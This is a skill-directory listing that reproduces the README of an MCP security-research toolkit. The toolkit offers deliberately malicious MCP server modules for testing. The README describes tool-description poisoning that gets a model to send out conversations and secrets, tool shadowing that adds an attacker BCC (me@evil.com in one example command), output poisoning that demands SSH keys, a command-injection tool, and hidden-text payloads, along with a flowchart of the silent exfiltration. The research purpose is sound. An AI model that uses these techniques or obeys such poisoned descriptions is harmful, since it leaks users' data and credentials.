mcp-exploit-tools
A collection of tools (and documentation) in minimal low level python, to showcase exploits on MCP servers and LLMs. For testing and research purposes.
Install / Use
claude mcp add crashoz -- npx -y github:crashoz/mcp-exploit-toolsIf the server publishes to npm under a different name, use that package instead — check the repo README.
MCP Server
Model Context Protocol server
Quality Score
Category
SecuritySupported Platforms
Our assessment of mcp-exploit-tools
mcp-exploit-tools scores 78/100 on our quality scale, 458th of 559 Security skills we index.
Its MCP Server is 15 KB long, well organised into 24 sections with 8 code examples: a thorough specification that gives an agent plenty to work with.
It has 3 GitHub stars, so there is little community track record yet; judge it on its content.
Maintenance, license and trust
- The repository was last updated about 4 months ago. That is recent enough to be usable, but agent tooling moves fast, so check the instructions against your agent's current version.
- Our last check on 2026-08-20 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 90/100, with 1 caution from licensing, adoption, age or documentation. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the first 100 KB of the file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-09-25. Automated pattern scan on 2026-09-25. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
mcp-exploit-tools compared with similar skills
All 4 of these similar skills score higher than mcp-exploit-tools; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| mcp-exploit-tools (this skill)by crashoz | 78 | 3 | 4mo ago | MCP Server |
| Agent-Reachby Panniantong | 100 | 85.5k | 10d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 73.8k | today | CLAUDE.md |
| rufloby ruvnet | 100 | 73.3k | 1d ago | CLAUDE.md |
| CowAgentby zhayujie | 100 | 47.1k | today | CLAUDE.md |
Frequently asked questions
- How do I install mcp-exploit-tools?
- Run
claude mcp add crashoz -- npx -y github:crashoz/mcp-exploit-tools. The install tabs above show the steps for each supported agent. - Which AI agents does mcp-exploit-tools work with?
- It is written for Claude Code and Claude Desktop, as a MCP Server file. Other agents that read the same format can often use it too.
- Is mcp-exploit-tools safe to use?
- Our scan of the first 100 KB of the file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 90/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is mcp-exploit-tools still maintained?
- The repository was last updated about 4 months ago. That is recent enough to be usable, but agent tooling moves fast, so check the instructions against your agent's current version.
Skill content
View source on GitHubmcp-exploit-tools
📖 Docs site: https://crashoz.github.io/mcp-exploit-tools/ — the exploit write-ups, rendered.
A minimal, low-level MCP server with zero third-party dependencies (Python standard
library only — no mcp SDK, no FastMCP, no web framework), organised as a small package of
single-purpose modules.
It is the foundation for a toolkit aimed at security researchers testing exploits against MCP servers and the clients/hosts that connect to them. Because there is no SDK between you and the wire, every JSON-RPC message is under your direct control and any layer can be mutated to craft adversarial / non-spec-compliant behaviour.
- Protocol: MCP
2025-11-25(current stable revision). - Transports: stdio and Streamable HTTP.
- Primitives: tools, resources, prompts.
- Requirements: Python 3.10+. No installation, no
pip.
Quickstart
# stdio transport (the default) — what local MCP clients launch:
python3 server.py # or: python3 -m mcpserver
# List the available exploit modules:
python3 server.py --list-exploits
# Streamable HTTP transport:
python3 server.py --transport http --host 127.0.0.1 --port 8000
# Add --trace to any of the above to log every raw message to stderr.
python3 server.py --trace
CLI
| Flag | Default | Meaning |
| --- | --- | --- |
| --transport {stdio,http} | stdio | Which transport to serve. |
| --host | 127.0.0.1 | HTTP bind host. Anything non-local prints a warning. |
| --port | 8000 | HTTP bind port. |
| --path | /mcp | HTTP endpoint path. |
| --trace | off | Log every inbound (>>) / outbound (<<) raw message to stderr. |
| --insecure | off | HTTP: disable Origin + session checks (the vulnerable config). |
| --strict | off | Enforce lifecycle: reject requests issued before initialization. |
| --list-exploits | — | List the available exploit modules (slug, name, tools) and exit. |
| --enable A,B | data-exfil | Enable these exploit modules by slug, or all for every module. |
| --disable A,B | none | Disable these exploit modules, by slug. |
| --no-demo | off | Don't register the benign demo tools/resources/prompts. |
| --loot-file PATH | ./loot/exfiltrated.jsonl | Where captured data is written (overrides MCP_EXFIL_LOOT). |
| --webhook URL | off | Also POST each captured payload here (overrides MCP_EXFIL_WEBHOOK). |
| --shadow-bcc ADDR | security-archive@… | tool-shadowing: attacker BCC injected into emails. |
| --shadow-target-tool NAME | send_email | tool-shadowing: the trusted email tool to hijack. |
| --cht-triggers P1,P2 | thank you,… | conversation-theft: phrases that fire the exfil. |
| --cmdi-live | off (dry-run) | command-injection: actually execute the built command (real RCE; lab/VM only). |
| --ii-collector HOST | telemetry-collector.example | indirect-injection: attacker exfil host the hidden beacon targets. |
| --atpa-demand TEXT | env + ~/.ssh/id_rsa | output-poisoning: what the fake error/result coerces the model to hand over. |
| --ansi-method {overwrite,color,conceal} | overwrite | ansi-deception: how the description hides its payload from the terminal. |
| --unicode-method {tag,zero-width,bidi} | tag | unicode-concealment: how the description hides its payload in invisible Unicode. |
Security knobs (the testable surface)
The Streamable HTTP transport (mcpserver/streamable_http.py) implements the checks the spec calls for, each visible in the source and toggleable so you can compare secure vs. vulnerable behaviour:
- Origin validation (DNS-rebinding guard): a request carrying a non-localhost
Originheader is rejected with403. Disable with--insecure. - Session enforcement:
initializemints anMcp-Session-Id; any other request with a missing/unknown session id is rejected with404. Disable with--insecure. - Bind address: defaults to
127.0.0.1;--host 0.0.0.0is allowed but warns. - Lifecycle ordering:
--strictrejects non-initialize/pingrequests before thenotifications/initializedhandshake (lenient by default, so it can be exercised).
Exploits
Adversarial modules live in mcpserver/exploits/, catalogued in mcpserver/exploits/init.py. Each is documented under docs/exploits/.
| Slug | Exploit | Tool(s) | Write-up |
| --- | --- | --- | --- |
| data-exfil | Data exfiltration via tool-description poisoning (TPA) | context_sync | docs/exploits/data-exfiltration.md |
| tool-shadowing | Tool shadowing / cross-server hijack | add_numbers + send_email | docs/exploits/tool-shadowing.md |
| conversation-theft | Conversation-history theft (triggered sleeper) | log_feedback | docs/exploits/conversation-history-theft.md |
| command-injection | Command injection (deliberately vulnerable tool) | net_diagnostic | docs/exploits/command-injection.md |
| full-schema-poisoning | Line jumping / full-schema poisoning (FSP) | summarize_text | docs/exploits/full-schema-poisoning.md |
| indirect-injection | Indirect prompt injection (external-content trigger) | fetch_url | docs/exploits/indirect-injection.md |
| output-poisoning | Universal output poisoning (ATPA) | get_weather | docs/exploits/output-poisoning.md |
| ansi-deception | ANSI escape-code deception | system_check | docs/exploits/ansi-deception.md |
| unicode-concealment | Invisible Unicode concealment (zero-width / bidi / tag chars) | health_report | docs/exploits/unicode-concealment.md |
By default only data-exfil is enabled — its context_sync tool shows up in tools/list
next to the demo tools. Enable the others (or all of them) and tune them from the CLI:
python3 server.py --list-exploits # see slugs, names, tools
python3 server.py # default: only data-exfil (context_sync)
python3 server.py --enable all # every exploit module
python3 server.py --enable tool-shadowing,command-injection # just these two
python3 server.py --enable all --disable command-injection # all but command-injection
python3 server.py --enable tool-shadowing --shadow-bcc me@evil.com --webhook http://127.0.0.1:9000/ # enable + tune + relay
The exfil sink writes captured data to loot/exfiltrated.jsonl by default (--loot-file /
MCP_EXFIL_LOOT to change); --webhook / MCP_EXFIL_WEBHOOK also POSTs it to a URL (off by
default — no network otherwise). To catch those POSTs locally, run the bundled stdlib
collector — python3 webhook_collector.py — and point --webhook at it.
The full exploit backlog — grouped by type and scored (severity/impact/occurrence/difficulty) — lives in PROGRESS.md.
Run it against a LLM
You don't have to hand-write JSON-RPC to see an exploit land — point a real local model at
the malicious server and watch it fire end-to-end. The full
local-LLM walkthrough uses Ollama +
ollmcp with a tiny, CPU-friendly model —
no API keys, no GPU. The short version:
ollama pull qwen2.5:1.5b # ~1 GB model, runs on CPU
pip install -r requirements-demo.txt # the ollmcp MCP host
ollmcp --servers-json mcp-host.json --model qwen2.5:1.5b # run from the repo root
ollmcp launches python3 server.py over stdio, calls tools/list, and hands the schemas to
the model — at which point the poisoned description is sitting inside the model's context.
Ask any ordinary question: the model calls the exfil tool on its own (ollmcp shows an approval
prompt by default, so you can watch the leak get offered before it happens). Inspect
loot/exfiltrated.jsonl — or a --webhook endpoint — to confirm what left the room. The smaller
the model, the more readily it obeys; that's the finding.
What fires — data-exfil (context_sync)
The default flow, straight from data_exfiltration.py:
flowchart TD
SERVER["malicious MCP server · server.py<br/>advertises context_sync — its description<br/>secretly orders the model to forward everything"]
SERVER -->|"tools/list — the ollmcp host hands<br/>the tool schemas to the model"| MODEL["local model · qwen2.5:1.5b<br/>reads the description as instructions;<br/>cannot separate trusted text from attacker text"]
MODEL -->|"tools/call context_sync<br/>{ conversation, secrets, … }"| SINK["handler · sink.capture(…)<br/>→ loot/exfiltrated.jsonl (+ optional webhook POST)<br/>returns: Session registered … Sync complete."]
SINK --> REPLY["model answers the user normally —<br/>nothing on screen reveals the leak"]
classDef danger fill:#cc241d,stroke:#fb4934,color:#fbf1c7
classDef benign fill:#98971a,stroke:#b8bb26,color:#fbf1c7
classDef model fill:#458588,stroke:#83a598,color:#fbf1c7
class SERVER danger
class SINK danger
class MODEL model
class REPLY benign
Full mechanism, why it works, and defenses: docs/exploits/data-exfiltration.md.
Project layout
mcp-exploit-tools/
server.py # thin entry shim → mcpserver.cli:main
webhook_collector.py # stdlib collector for --webhook exfil POSTs (optional)
mcpserver/
__init__.py # public API: MCPServer, tool, resource, prompt, ...
__main__.py # enables `python3 -m mcpserver`
constants.py # protocol version, server info, JSON-RPC error codes
tracing.py # stderr logging + raw `>>`/`<<` message tracing
registry.py # TOOLS/RESOURCES/PROMPTS + @tool/@resource/@prompt
protocol.py # JsonRpcError + MCPServer (lifecycle, dispatch)
stdio.py # stdio transport
streamable_http.py # Streamable HTTP transport + security checks
demo.py # benign example tools/resources/prompts (+ exploit marker)
cli.py # argparse + main()
exploits/ # adversarial modules — one per exploit
__init__.py # CATALOG + --enable/--disable selection
sink.py # shared capture sink (loot file + optional webhook)
data_exfiltration.py # … one module per exploit (see the Exploits table)
docs/ # MkDocs site — one write-up per exploit
PROGRESS.md # scored exploit roadmap / backlog
CONTRIBUTING.md # how to contribute + add an exploit module
LICENSE.md # MIT
README.md
Extending it (building exploit modules)
Two seams:
- Registries — register tools/resources/prompts with the
@tool,@resource,@promptdecorators from mcpserver/registry.py. Benign examples in mcpserver/demo.py register on import. An exploit module instead exposesSLUG/NAME/TOOLS, aregister(args)that registers its tools, and an optionaladd_arguments(parser)for fine-tuning flags — then is added toCATALOGin mcpserver/exploits/init.py so--enable/--disableand--list-exploitspick it up (copy data_exfiltration.py as a template). Tool handlers may return a fullCallToolResultdict, so you have complete control over advertis
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
73.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
ruflo
73.3k🌊 The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated
CowAgent
47.1kOpen-source super AI assistant & Agent Harness. Plans tasks, runs tools and skills, self-evolves with memory and knowledge. Multi-agent, multi-model, multi-channel. Lightweight, extensible, one-line install.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
